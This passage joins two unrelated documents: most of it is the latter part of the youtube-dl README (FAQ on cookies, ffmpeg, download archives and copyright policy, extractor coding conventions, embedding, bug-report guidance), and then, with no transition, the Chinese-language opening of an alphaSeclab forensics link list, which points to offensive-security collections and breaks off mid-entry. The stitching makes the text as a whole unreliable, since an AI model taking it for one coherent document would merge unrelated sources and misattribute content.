blocking your IP address because of overuse. Contact the service and ask them to unblock your IP address, or - if you have acquired a whitelisted IP address already - use the [`--proxy` or `--source-address` options](#network-options) to select another IP address. ### SyntaxError: Non-ASCII character The error File "youtube-dl", line 2 SyntaxError: Non-ASCII character '\x93' ... means you're using an outdated version of Python. Please update to Python 2.6 or 2.7. ### What is this binary file? Where has the code gone? Since June 2012 ([#342](https://github.com/ytdl-org/youtube-dl/issues/342)) youtube-dl is packed as an executable zipfile, simply unzip it (might need renaming to `youtube-dl.zip` first on some systems) or clone the git repository, as laid out above. If you modify the code, you can run it by executing the `__main__.py` file. To recompile the executable, run `make youtube-dl`. ### The exe throws an error due to missing `MSVCR100.dll` To run the exe you need to install first the [Microsoft Visual C++ 2010 Redistributable Package (x86)](https://www.microsoft.com/en-US/download/details.aspx?id=5555). ### On Windows, how should I set up ffmpeg and youtube-dl? Where should I put the exe files? If you put youtube-dl and ffmpeg in the same directory that you're running the command from, it will work, but that's rather cumbersome. To make a different directory work - either for ffmpeg, or for youtube-dl, or for both - simply create the directory (say, `C:\bin`, or `C:\Users\<User name>\bin`), put all the executables directly in there, and then [set your PATH environment variable](https://www.java.com/en/download/help/path.xml) to include that directory. From then on, after restarting your shell, you will be able to access both youtube-dl and ffmpeg (and youtube-dl will be able to find ffmpeg) by simply typing `youtube-dl` or `ffmpeg`, no matter what directory you're in. ### How do I put downloads into a specific folder? Use the `-o` to specify an [output template](#output-template), for example `-o "/home/user/videos/%(title)s-%(id)s.%(ext)s"`. If you want this for all of your downloads, put the option into your [configuration file](#configuration). ### How do I download a video starting with a `-`? Either prepend `https://www.youtube.com/watch?v=` or separate the ID from the options with `--`: youtube-dl -- -wNyEUrxzFU youtube-dl "https://www.youtube.com/watch?v=-wNyEUrxzFU" ### How do I pass cookies to youtube-dl? Use the `--cookies` option, for example `--cookies /path/to/cookies/file.txt`. In order to extract cookies from browser use any conforming browser extension for exporting cookies. For example, [cookies.txt](https://chrome.google.com/webstore/detail/cookiestxt/njabckikapfpffapmjgojcnbfjonfjfg) (for Chrome) or [cookies.txt](https://addons.mozilla.org/en-US/firefox/addon/cookies-txt/) (for Firefox). Note that the cookies file must be in Mozilla/Netscape format and the first line of the cookies file must be either `# HTTP Cookie File` or `# Netscape HTTP Cookie File`. Make sure you have correct [newline format](https://en.wikipedia.org/wiki/Newline) in the cookies file and convert newlines if necessary to correspond with your OS, namely `CRLF` (`\r\n`) for Windows and `LF` (`\n`) for Unix and Unix-like systems (Linux, macOS, etc.). `HTTP Error 400: Bad Request` when using `--cookies` is a good sign of invalid newline format. Passing cookies to youtube-dl is a good way to workaround login when a particular extractor does not implement it explicitly. Another use case is working around [CAPTCHA](https://en.wikipedia.org/wiki/CAPTCHA) some websites require you to solve in particular cases in order to get access (e.g. YouTube, CloudFlare). ### How do I stream directly to media player? You will first need to tell youtube-dl to stream media to stdout with `-o -`, and also tell your media player to read from stdin (it must be capable of this for streaming) and then pipe former to latter. For example, streaming to [vlc](https://www.videolan.org/) can be achieved with: youtube-dl -o - "https://www.youtube.com/watch?v=BaW_jenozKcj" | vlc - ### How do I download only new videos from a playlist? Use download-archive feature. With this feature you should initially download the complete playlist with `--download-archive /path/to/download/archive/file.txt` that will record identifiers of all the videos in a special file. Each subsequent run with the same `--download-archive` will download only new videos and skip all videos that have been downloaded before. Note that only successful downloads are recorded in the file. For example, at first, youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" will download the complete `PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re` playlist and create a file `archive.txt`. Each subsequent run will only download new videos if any: youtube-dl --download-archive archive.txt "https://www.youtube.com/playlist?list=PLwiyx1dc3P2JR9N8gQaQN_BCvlSlap7re" ### Should I add `--hls-prefer-native` into my config? When youtube-dl detects an HLS video, it can download it either with the built-in downloader or ffmpeg. Since many HLS streams are slightly invalid and ffmpeg/youtube-dl each handle some invalid cases better than the other, there is an option to switch the downloader if needed. When youtube-dl knows that one particular downloader works better for a given website, that downloader will be picked. Otherwise, youtube-dl will pick the best downloader for general compatibility, which at the moment happens to be ffmpeg. This choice may change in future versions of youtube-dl, with improvements of the built-in downloader and/or ffmpeg. In particular, the generic extractor (used when your website is not in the [list of supported sites by youtube-dl](https://ytdl-org.github.io/youtube-dl/supportedsites.html) cannot mandate one specific downloader. If you put either `--hls-prefer-native` or `--hls-prefer-ffmpeg` into your configuration, a different subset of videos will fail to download correctly. Instead, it is much better to [file an issue](https://yt-dl.org/bug) or a pull request which details why the native or the ffmpeg HLS downloader is a better choice for your use case. ### Can you add support for this anime video site, or site which shows current movies for free? As a matter of policy (as well as legality), youtube-dl does not include support for services that specialize in infringing copyright. As a rule of thumb, if you cannot easily find a video that the service is quite obviously allowed to distribute (i.e. that has been uploaded by the creator, the creator's distributor, or is published under a free license), the service is probably unfit for inclusion to youtube-dl. A note on the service that they don't host the infringing content, but just link to those who do, is evidence that the service should **not** be included into youtube-dl. The same goes for any DMCA note when the whole front page of the service is filled with videos they are not allowed to distribute. A "fair use" note is equally unconvincing if the service shows copyright-protected videos in full without authorization. Support requests for services that **do** purchase the rights to distribute their content are perfectly fine though. If in doubt, you can simply include a source that mentions the legitimate purchase of content. ### How can I speed up work on my issue? (Also known as: Help, my important issue not being solved!) The youtube-dl core developer team is quite small. While we do our best to solve as many issues as possible, sometimes that can take quite a while. To speed up your issue, here's what you can do: First of all, please do report the issue [at our issue tracker](https://yt-dl.org/bugs). That allows us to coordinate all efforts by users and developers, and serves as a unified point. Unfortunately, the youtube-dl project has grown too large to use personal email as an effective communication channel. Please read the [bug reporting instructions](#bugs) below. A lot of bugs lack all the necessary information. If you can, offer proxy, VPN, or shell access to the youtube-dl developers. If you are able to, test the issue from multiple computers in multiple countries to exclude local censorship or misconfiguration issues. If nobody is interested in solving your issue, you are welcome to take matters into your own hands and submit a pull request (or coerce/pay somebody else to do so). Feel free to bump the issue from time to time by writing a small comment ("Issue is still present in youtube-dl version ...from France, but fixed from Belgium"), but please not more than once a month. Please do not declare your issue as `important` or `urgent`. ### How can I detect whether a given URL is supported by youtube-dl? For one, have a look at the [list of supported sites](docs/supportedsites.md). Note that it can sometimes happen that the site changes its URL scheme (say, from https://example.com/video/1234567 to https://example.com/v/1234567 ) and youtube-dl reports an URL of a service in that list as unsupported. In that case, simply report a bug. It is *not* possible to detect whether a URL is supported or not. That's because youtube-dl contains a generic extractor which matches **all** URLs. You may be tempted to disable, exclude, or remove the generic extractor, but the generic extractor not only allows users to extract videos from lots of websites that embed a video from another service, but may also be used to extract video from a service that it's hosting itself. Therefore, we neither recommend nor support disabling, excluding, or removing the generic extractor. If you want to find out whether a given URL is supported, simply call youtube-dl with it. If you get no videos back, chances are the URL is either not referring to a video or unsupported. You can find out which by examining the output (if you run youtube-dl on the console) or catching an `UnsupportedError` exception if you run it from a Python program. # Why do I need to go through that much red tape when filing bugs? Before we had the issue template, despite our extensive [bug reporting instructions](#bugs), about 80% of the issue reports we got were useless, for instance because people used ancient versions hundreds of releases old, because of simple syntactic errors (not in youtube-dl but in general shell usage), because the problem was already reported multiple times before, because people did not actually read an error message, even if it said "please install ffmpeg", because people did not mention the URL they were trying to download and many more simple, easy-to-avoid problems, many of whom were totally unrelated to youtube-dl. youtube-dl is an open-source project manned by too few volunteers, so we'd rather spend time fixing bugs where we are certain none of those simple problems apply, and where we can be reasonably confident to be able to reproduce the issue without asking the reporter repeatedly. As such, the output of `youtube-dl -v YOUR_URL_HERE` is really all that's required to file an issue. The issue template also guides you through some basic steps you can do, such as checking that your version of youtube-dl is current. # DEVELOPER INSTRUCTIONS Most users do not need to build youtube-dl and can [download the builds](https://ytdl-org.github.io/youtube-dl/download.html) or get them from their distribution. To run youtube-dl as a developer, you don't need to build anything either. Simply execute python -m youtube_dl To run the test, simply invoke your favorite test runner, or execute a test file directly; any of the following work: python -m unittest discover python test/test_download.py nosetests See item 6 of [new extractor tutorial](#adding-support-for-a-new-site) for how to run extractor specific test cases. If you want to create a build of youtube-dl yourself, you'll need * python * make (only GNU make is supported) * pandoc * zip * nosetests ### Adding support for a new site If you want to add support for a new site, first of all **make sure** this site is **not dedicated to [copyright infringement](README.md#can-you-add-support-for-this-anime-video-site-or-site-which-shows-current-movies-for-free)**. youtube-dl does **not support** such sites thus pull requests adding support for them **will be rejected**. After you have ensured this site is distributing its content legally, you can follow this quick list (assuming your service is called `yourextractor`): 1. [Fork this repository](https://github.com/ytdl-org/youtube-dl/fork) 2. Check out the source code with: git clone [email protected]:YOUR_GITHUB_USERNAME/youtube-dl.git 3. Start a new git branch with cd youtube-dl git checkout -b yourextractor 4. Start with this simple template and save it to `youtube_dl/extractor/yourextractor.py`: ```python # coding: utf-8 from __future__ import unicode_literals from .common import InfoExtractor class YourExtractorIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?yourextractor\.com/watch/(?P<id>[0-9]+)' _TEST = { 'url': 'https://yourextractor.com/watch/42', 'md5': 'TODO: md5 sum of the first 10241 bytes of the video file (use --test)', 'info_dict': { 'id': '42', 'ext': 'mp4', 'title': 'Video title goes here', 'thumbnail': r're:^https?://.*\.jpg$', # TODO more properties, either as: # * A value # * MD5 checksum; start the string with md5: # * A regular expression; start the string with re: # * Any Python type (for example int or float) } } def _real_extract(self, url): video_id = self._match_id(url) webpage = self._download_webpage(url, video_id) # TODO more code goes here, for example ... title = self._html_search_regex(r'<h1>(.+?)</h1>', webpage, 'title') return { 'id': video_id, 'title': title, 'description': self._og_search_description(webpage), 'uploader': self._search_regex(r'<div[^>]+id="uploader"[^>]*>([^<]+)<', webpage, 'uploader', fatal=False), # TODO more properties (see youtube_dl/extractor/common.py) } ``` 5. Add an import in [`youtube_dl/extractor/extractors.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/extractors.py). 6. Run `python test/test_download.py TestDownload.test_YourExtractor`. This *should fail* at first, but you can continually re-run it until you're done. If you decide to add more than one test, then rename ``_TEST`` to ``_TESTS`` and make it into a list of dictionaries. The tests will then be named `TestDownload.test_YourExtractor`, `TestDownload.test_YourExtractor_1`, `TestDownload.test_YourExtractor_2`, etc. Note that tests with `only_matching` key in test's dict are not counted in. 7. Have a look at [`youtube_dl/extractor/common.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/extractor/common.py) for possible helper methods and a [detailed description of what your extractor should and may return](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303). Add tests and code for as many as you want. 8. Make sure your code follows [youtube-dl coding conventions](#youtube-dl-coding-conventions) and check the code with [flake8](http://flake8.pycqa.org/en/latest/index.html#quickstart): $ flake8 youtube_dl/extractor/yourextractor.py 9. Make sure your code works under all [Python](https://www.python.org/) versions claimed supported by youtube-dl, namely 2.6, 2.7, and 3.2+. 10. When the tests pass, [add](https://git-scm.com/docs/git-add) the new files and [commit](https://git-scm.com/docs/git-commit) them and [push](https://git-scm.com/docs/git-push) the result, like this: $ git add youtube_dl/extractor/extractors.py $ git add youtube_dl/extractor/yourextractor.py $ git commit -m '[yourextractor] Add new extractor' $ git push origin yourextractor 11. Finally, [create a pull request](https://help.github.com/articles/creating-a-pull-request). We'll then review and merge it. In any case, thank you very much for your contributions! ## youtube-dl coding conventions This section introduces a guide lines for writing idiomatic, robust and future-proof extractor code. Extractors are very fragile by nature since they depend on the layout of the source data provided by 3rd party media hosters out of your control and this layout tends to change. As an extractor implementer your task is not only to write code that will extract media links and metadata correctly but also to minimize dependency on the source's layout and even to make the code foresee potential future changes and be ready for that. This is important because it will allow the extractor not to break on minor layout changes thus keeping old youtube-dl versions working. Even though this breakage issue is easily fixed by emitting a new version of youtube-dl with a fix incorporated, all the previous versions become broken in all repositories and distros' packages that may not be so prompt in fetching the update from us. Needless to say, some non rolling release distros may never receive an update at all. ### Mandatory and optional metafields For extraction to work youtube-dl relies on metadata your extractor extracts and provides to youtube-dl expressed by an [information dictionary](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L94-L303) or simply *info dict*. Only the following meta fields in the *info dict* are considered mandatory for a successful extraction process by youtube-dl: - `id` (media identifier) - `title` (media title) - `url` (media download URL) or `formats` In fact only the last option is technically mandatory (i.e. if you can't figure out the download location of the media the extraction does not make any sense). But by convention youtube-dl also treats `id` and `title` as mandatory. Thus the aforementioned metafields are the critical data that the extraction does not make any sense without and if any of them fail to be extracted then the extractor is considered completely broken. [Any field](https://github.com/ytdl-org/youtube-dl/blob/7f41a598b3fba1bcab2817de64a08941200aa3c8/youtube_dl/extractor/common.py#L188-L303) apart from the aforementioned ones are considered **optional**. That means that extraction should be **tolerant** to situations when sources for these fields can potentially be unavailable (even if they are always available at the moment) and **future-proof** in order not to break the extraction of general purpose mandatory fields. #### Example Say you have some source dictionary `meta` that you've fetched as JSON with HTTP request and it has a key `summary`: ```python meta = self._download_json(url, video_id) ``` Assume at this point `meta`'s layout is: ```python { ... "summary": "some fancy summary text", ... } ``` Assume you want to extract `summary` and put it into the resulting info dict as `description`. Since `description` is an optional meta field you should be ready that this key may be missing from the `meta` dict, so that you should extract it like: ```python description = meta.get('summary') # correct ``` and not like: ```python description = meta['summary'] # incorrect ``` The latter will break extraction process with `KeyError` if `summary` disappears from `meta` at some later time but with the former approach extraction will just go ahead with `description` set to `None` which is perfectly fine (remember `None` is equivalent to the absence of data). Similarly, you should pass `fatal=False` when extracting optional data from a webpage with `_search_regex`, `_html_search_regex` or similar methods, for instance: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', fatal=False) ``` With `fatal` set to `False` if `_search_regex` fails to extract `description` it will emit a warning and continue extraction. You can also pass `default=<some fallback value>`, for example: ```python description = self._search_regex( r'<span[^>]+id="title"[^>]*>([^<]+)<', webpage, 'description', default=None) ``` On failure this code will silently continue the extraction with `description` set to `None`. That is useful for metafields that may or may not be present. ### Provide fallbacks When extracting metadata try to do so from multiple sources. For example if `title` is present in several places, try extracting from at least some of them. This makes it more future-proof in case some of the sources become unavailable. #### Example Say `meta` from the previous example has a `title` and you are about to extract it. Since `title` is a mandatory meta field you should end up with something like: ```python title = meta['title'] ``` If `title` disappears from `meta` in future due to some changes on the hoster's side the extraction would fail since `title` is mandatory. That's expected. Assume that you have some another source you can extract `title` from, for example `og:title` HTML meta of a `webpage`. In this case you can provide a fallback scenario: ```python title = meta.get('title') or self._og_search_title(webpage) ``` This code will try to extract from `meta` first and if it fails it will try extracting `og:title` from a `webpage`. ### Regular expressions #### Don't capture groups you don't use Capturing group must be an indication that it's used somewhere in the code. Any group that is not used must be non capturing. ##### Example Don't capture id attribute name here since you can't use it for anything anyway. Correct: ```python r'(?:id|ID)=(?P<id>\d+)' ``` Incorrect: ```python r'(id|ID)=(?P<id>\d+)' ``` #### Make regular expressions relaxed and flexible When using regular expressions try to write them fuzzy, relaxed and flexible, skipping insignificant parts that are more likely to change, allowing both single and double quotes for quoted values and so on. ##### Example Say you need to extract `title` from the following HTML code: ```html <span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">some fancy title</span> ``` The code for that task should look similar to: ```python title = self._search_regex( r'<span[^>]+class="title"[^>]*>([^<]+)', webpage, 'title') ``` Or even better: ```python title = self._search_regex( r'<span[^>]+class=(["\'])title\1[^>]*>(?P<title>[^<]+)', webpage, 'title', group='title') ``` Note how you tolerate potential changes in the `style` attribute's value or switch from using double quotes to single for `class` attribute: The code definitely should not look like: ```python title = self._search_regex( r'<span style="position: absolute; left: 910px; width: 90px; float: right; z-index: 9999;" class="title">(.*?)</span>', webpage, 'title', group='title') ``` ### Long lines policy There is a soft limit to keep lines of code under 80 characters long. This means it should be respected if possible and if it does not make readability and code maintenance worse. For example, you should **never** split long string literals like URLs or some other often copied entities over multiple lines to fit this limit: Correct: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` Incorrect: ```python 'https://www.youtube.com/watch?v=FqZTN594JQw&list=' 'PLMYEtVRpaqY00V9W81Cwmzp6N6vZqfUKD4' ``` ### Inline values Extracting variables is acceptable for reducing code duplication and improving readability of complex expressions. However, you should avoid extracting variables used only once and moving them to opposite parts of the extractor file, which makes reading the linear flow difficult. #### Example Correct: ```python title = self._html_search_regex(r'<title>([^<]+)</title>', webpage, 'title') ``` Incorrect: ```python TITLE_RE = r'<title>([^<]+)</title>' # ...some lines of code... title = self._html_search_regex(TITLE_RE, webpage, 'title') ``` ### Collapse fallbacks Multiple fallback values can quickly become unwieldy. Collapse multiple fallback values into a single expression via a list of patterns. #### Example Good: ```python description = self._html_search_meta( ['og:description', 'description', 'twitter:description'], webpage, 'description', default=None) ``` Unwieldy: ```python description = ( self._og_search_description(webpage, default=None) or self._html_search_meta('description', webpage, default=None) or self._html_search_meta('twitter:description', webpage, default=None)) ``` Methods supporting list of patterns are: `_search_regex`, `_html_search_regex`, `_og_search_property`, `_html_search_meta`. ### Trailing parentheses Always move trailing parentheses after the last argument. #### Example Correct: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list) ``` Incorrect: ```python lambda x: x['ResultSet']['Result'][0]['VideoUrlSet']['VideoUrl'], list, ) ``` ### Use convenience conversion and parsing functions Wrap all extracted numeric data into safe functions from [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py): `int_or_none`, `float_or_none`. Use them for string to number conversions as well. Use `url_or_none` for safe URL processing. Use `try_get` for safe metadata extraction from parsed JSON. Use `unified_strdate` for uniform `upload_date` or any `YYYYMMDD` meta field extraction, `unified_timestamp` for uniform `timestamp` extraction, `parse_filesize` for `filesize` extraction, `parse_count` for count meta fields extraction, `parse_resolution`, `parse_duration` for `duration` extraction, `parse_age_limit` for `age_limit` extraction. Explore [`youtube_dl/utils.py`](https://github.com/ytdl-org/youtube-dl/blob/master/youtube_dl/utils.py) for more useful convenience functions. #### More examples ##### Safely extract optional description from parsed JSON ```python description = try_get(response, lambda x: x['result']['video'][0]['summary'], compat_str) ``` ##### Safely extract more optional metadata ```python video = try_get(response, lambda x: x['result']['video'][0], dict) or {} description = video.get('summary') duration = float_or_none(video.get('durationMs'), scale=1000) view_count = int_or_none(video.get('views')) ``` # EMBEDDING YOUTUBE-DL youtube-dl makes the best effort to be a good command-line program, and thus should be callable from any programming language. If you encounter any problems parsing its output, feel free to [create a report](https://github.com/ytdl-org/youtube-dl/issues/new). From a Python program, you can embed youtube-dl in a more powerful fashion, like this: ```python from __future__ import unicode_literals import youtube_dl ydl_opts = {} with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` Most likely, you'll want to use various options. For a list of options available, have a look at [`youtube_dl/YoutubeDL.py`](https://github.com/ytdl-org/youtube-dl/blob/3e4cedf9e8cd3157df2457df7274d0c842421945/youtube_dl/YoutubeDL.py#L137-L312). For a start, if you want to intercept youtube-dl's output, set a `logger` object. Here's a more complete example of a program that outputs only errors (and a short message after the download is finished), and downloads/converts the video to an mp3 file: ```python from __future__ import unicode_literals import youtube_dl class MyLogger(object): def debug(self, msg): pass def warning(self, msg): pass def error(self, msg): print(msg) def my_hook(d): if d['status'] == 'finished': print('Done downloading, now converting ...') ydl_opts = { 'format': 'bestaudio/best', 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192', }], 'logger': MyLogger(), 'progress_hooks': [my_hook], } with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc']) ``` # BUGS Bugs and suggestions should be reported at: <https://github.com/ytdl-org/youtube-dl/issues>. Unless you were prompted to or there is another pertinent reason (e.g. GitHub fails to accept the bug report), please do not send bug reports via personal email. For discussions, join us in the IRC channel [#youtube-dl](irc://chat.freenode.net/#youtube-dl) on freenode ([webchat](https://webchat.freenode.net/?randomnick=1&channels=youtube-dl)). **Please include the full output of youtube-dl when run with `-v`**, i.e. **add** `-v` flag to **your command line**, copy the **whole** output and post it in the issue body wrapped in \`\`\` for better formatting. It should look similar to this: ``` $ youtube-dl -v <your command line> [debug] System config: [] [debug] User config: [] [debug] Command-line args: [u'-v', u'https://www.youtube.com/watch?v=BaW_jenozKcj'] [debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251 [debug] youtube-dl version 2015.12.06 [debug] Git HEAD: 135392e [debug] Python version 2.6.6 - Windows-2003Server-5.2.3790-SP2 [debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4 [debug] Proxy map: {} ... ``` **Do not post screenshots of verbose logs; only plain text is acceptable.** The output (including the first lines) contains important debugging information. Issues without the full output are often not reproducible and therefore do not get solved in short order, if ever. Please re-read your issue once again to avoid a couple of common mistakes (you can and should use this as a checklist): ### Is the description of the issue itself sufficient? We often get issue reports that we cannot really decipher. While in most cases we eventually get the required information after asking back multiple times, this poses an unnecessary drain on our resources. Many contributors, including myself, are also not native speakers, so we may misread some parts. So please elaborate on what feature you are requesting, or what bug you want to be fixed. Make sure that it's obvious - What the problem is - How it could be fixed - How your proposed solution would look like If your report is shorter than two lines, it is almost certainly missing some of these, which makes it hard for us to respond to it. We're often too polite to close the issue outright, but the missing info makes misinterpretation likely. As a committer myself, I often get frustrated by these issues, since the only possible way for me to move forward on them is to ask for clarification over and over. For bug reports, this means that your report should contain the *complete* output of youtube-dl when called with the `-v` flag. The error message you get for (most) bugs even says so, but you would not believe how many of our bug reports do not contain this information. If your server has multiple IPs or you suspect censorship, adding `--call-home` may be a good idea to get more diagnostics. If the error is `ERROR: Unable to extract ...` and you cannot reproduce it from multiple countries, add `--dump-pages` (warning: this will yield a rather large output, redirect it to the file `log.txt` by adding `>log.txt 2>&1` to your command-line) or upload the `.dump` files you get when you add `--write-pages` [somewhere](https://gist.github.com/). **Site support requests must contain an example URL**. An example URL is a URL you might want to download, like `https://www.youtube.com/watch?v=BaW_jenozKc`. There should be an obvious video present. Except under very special circumstances, the main page of a video service (e.g. `https://www.youtube.com/`) is *not* an example URL. ### Are you using the latest version? Before reporting any issue, type `youtube-dl -U`. This should report that you're up-to-date. About 20% of the reports we receive are already fixed, but people are using outdated versions. This goes for feature requests as well. ### Is the issue already documented? Make sure that someone has not already opened the issue you're trying to open. Search at the top of the window or browse the [GitHub Issues](https://github.com/ytdl-org/youtube-dl/search?type=Issues) of this repository. If there is an issue, feel free to write something along the lines of "This affects me as well, with version 2015.01.01. Here is some more information on the issue: ...". While some issues may be old, a new post into them often spurs rapid activity. ### Why are existing options not enough? Before requesting a new feature, please have a quick peek at [the list of supported options](https://github.com/ytdl-org/youtube-dl/blob/master/README.md#options). Many feature requests are for features that actually exist already! Please, absolutely do show off your work in the issue report and detail how the existing similar options do *not* solve your problem. ### Is there enough context in your bug report? People want to solve problems, and often think they do us a favor by breaking down their larger problems (e.g. wanting to skip already downloaded files) to a specific request (e.g. requesting us to look whether the file exists before downloading the info page). However, what often happens is that they break down the problem into two steps: One simple, and one impossible (or extremely complicated one). We are then presented with a very complicated request when the original problem could be solved far easier, e.g. by recording the downloaded video IDs in a separate file. To avoid this, you must include the greater context where it is non-obvious. In particular, every feature request that does not consist of adding support for a new site should contain a use case scenario that explains in what situation the missing feature would be useful. ### Does the issue involve one problem, and one problem only? Some of our users seem to think there is a limit of issues they can or should open. There is no limit of issues they can or should open. While it may seem appealing to be able to dump all your issues into one ticket, that means that someone who solves one of your issues cannot mark the issue as closed. Typically, reporting a bunch of issues leads to the ticket lingering since nobody wants to attack that behemoth, until someone mercifully splits the issue into multiple ones. In particular, every site support request issue should only pertain to services at one site (generally under a common domain, but always using the same backend technology). Do not request support for vimeo user videos, White house podcasts, and Google Plus pages in the same issue. Also, make sure that you don't post bug reports alongside feature requests. As a rule of thumb, a feature request does not include outputs of youtube-dl that are not immediately related to the feature at hand. Do not post reports of a network error alongside the request for a new video service. ### Is anyone going to need the feature? Only post features that you (or an incapacitated friend you can personally talk to) require. Do not post features because they seem like a good idea. If they are really useful, they will be requested by someone who requires them. ### Is your question about youtube-dl? It may sound strange, but some bug reports we receive are completely unrelated to youtube-dl and relate to a different, or even the reporter's own, application. Please make sure that you are actually using youtube-dl. If you are using a UI for youtube-dl, report the bug to the maintainer of the actual application providing the UI. On the other hand, if your UI for youtube-dl fails in some way you believe is related to youtube-dl, by all means, go ahead and report the bug. # COPYRIGHT youtube-dl is released into the public domain by the copyright holders. This README file was originally written by [Daniel Bolton](https://github.com/dbbolton) and is likewise released into the public domain.
# 所有收集类项目: - [收集的所有开源工具: sec-tool-list](https://github.com/alphaSeclab/sec-tool-list): 超过18K, 包括Markdown和Json两种格式 - [逆向资源: awesome-reverse-engineering](https://github.com/alphaSeclab/awesome-reverse-engineering): IDA/Ghidra/x64dbg/OllDbg/WinDBG/CuckooSandbox/Radare2/BinaryNinja/DynamoRIO/IntelPin/Frida/QEMU/Android安全/iOS安全/Window安全/Linux安全/macOS安全/游戏Hacking/Bootkit/Rootkit/Angr/Shellcode/进程注入/代码注入/DLL注入/WSL/Sysmon/... - [网络相关的安全资源: awesome-network-stuff](https://github.com/alphaSeclab/awesome-network-stuff): 代理/GFW/反向代理/隧道/VPN/Tor/I2P,以及中间人/PortKnocking/嗅探/网络分析/网络诊断等 - [攻击性网络安全资源: awesome-cyber-security](https://github.com/alphaSeclab/awesome-cyber-security): 漏洞/渗透/物联网安全/数据渗透/Metasploit/BurpSuite/KaliLinux/C&C/OWASP/免杀/CobaltStrike/侦查/OSINT/社工/密码/凭证/威胁狩猎/Payload/WifiHacking/无线攻击/后渗透/提权/UAC绕过/... - [开源远控和恶意远控分析报告: awesome-rat](https://github.com/alphaSeclab/awesome-rat): 开源远控工具: Windows/Linux/macOS/Android; 远控类恶意恶意代码的分析报告等 - [Webshell工具和分析/使用文章: awesome-webshell](https://github.com/alphaSeclab/awesome-webshell): Webshell资源收集, 包括150个Github项目, 200个左右文章 - [取证相关工具和文章: awesome-forensics](https://github.com/alphaSeclab/awesome-forensics): 近300个取开源证工具,近600与取证相关文章 # Forensics - [English Version](https://github.com/alphaSeclab/awesome-forensics/blob/master/Readme_en.md) # 目录 - [工具](#d4e014cbc478d3e5625e6ca1622781d3) - [(157) 新添加](#ecb63dfb62722feb6d43a9506515b4e3) - [(3) LinuxDistro](#bd653a0f2c8ff4aab78bb2be2257362b) - [(9) 资源收集](#601dcc03dc2254612e1b88816ae2b820) - [(74) Volatility](#4d2a33083a894d6e6ef01b360929f30a) - [(5) Sleuthkit](#8159418f807637a0d70406803a3c08c5) - [(4) Rekall](#0b1db12ec509cd6fb489c93a4cc837d5) - [(3) bulk_extractor](#0d23b542d7b0b1069a91f6c500009c3a) - [(9) 反取证](#bd015dd7245b420dca75a267133ddce3) - [(7) macOS](#9c0413531a5b5afd12b89ccdc744afbd) - [(2) iOS](#a93df189246db405e8182a42d3f7e553) - [(8) Linux](#505d67a56d03c921dd19737c28c3d8fc) - [文章](#c81ed9f7fec66ce81b864962ed4ea9c7) - [(399) 新添加](#fbccbf27fb92d876bdfb1626e4e0e86c) - [(150) Volatility](#bc6550163d1995f3ce6323404e2cec28) - [(4) Sleuthkit](#c529f60a5b6f420255ae79843446a145) - [(13) Rekall](#b6797fda3a16667cd5726ef4aa86b0e1) # <a id="c81ed9f7fec66ce81b864962ed4ea9c7"></a>文章 *** ## <a id="fbccbf27fb92d876bdfb1626e4e0e86c"></a>新添加 - 2019.12 [sans] [HSTS For Forensics: You Can Run, But You Can't Use HTTP](https://digital-forensics.sans.org/blog/2019/12/17/hsts-for-forensics-you-can-run-but-you-cant-use-http) - 2019.12 [eforensicsmag] [6 Threat Intelligence Sources That Will Help Enhance Digital Forensics Readiness | By Jonathan Zhang](https://eforensicsmag.com/6-threat-intelligence-sources-that-will-help-enhance-digital-forensics-readiness-by-jonathan-zhang/) - 2019.12 [mac4n6] [New(ish) Presentation: Poking the Bear - Teasing out Apple's Secrets through Dynamic Forensic Testing and Analysis](https://www.mac4n6.com/blog/2019/12/10/newish-presentation-poking-the-bear-teasing-out-apples-secrets-through-dynamic-forensic-testing-and-analysis) - 2019.12 [4hou] [移动设备数字取证过程概述(下)](https://www.4hou.com/tools/22000.html) - 2019.12 [4hou] [移动设备数字取证过程概述(上)](https://www.4hou.com/system/21685.html) - 2019.11 [freebuf] [DFIRTriage:针对Windows的事件应急响应数字取证工具](https://www.freebuf.com/articles/system/220240.html) - 2019.11 [freebuf] [Windows系统安全事件日志取证工具:LogonTracer](https://www.freebuf.com/sectool/219786.html) - 2019.11 [compass] [Challenging Your Forensic Readiness with an Application-Level Ransomware Attack](https://blog.compass-security.com/2019/11/challenging-your-forensic-readiness-with-an-application-level-ransomware-attack/) - 2019.11 [freebuf] [AutoMacTC:一款针对macOS环境的自动化取证分类采集器](https://www.freebuf.com/sectool/218812.html) - 2019.11 [eforensicsmag] [CRYPTO & DATA ERASURE: After forensic analysis drives should be securely wiped | By Paul Katzoff](https://eforensicsmag.com/crypto-data-erasure-after-forensic-analysis-drives-should-be-securely-wiped-by-paul-katzoff/) - 2019.10 [eforensicsmag] [Encrypted file system forensics - Introduction (EXT4) [FREE COURSE CONTENT]](https://eforensicsmag.com/encrypted-file-system-forensics-introduction-ext4/) - 2019.10 [4hou] [iPhone取证的通用方法](https://www.4hou.com/web/21192.html) - 2019.10 [Cooper] [Beyond Windows Forensics With Built-in Microsoft Tooling - Thomas Fischer](https://www.youtube.com/watch?v=_hSuoNAfOSE) - 2019.10 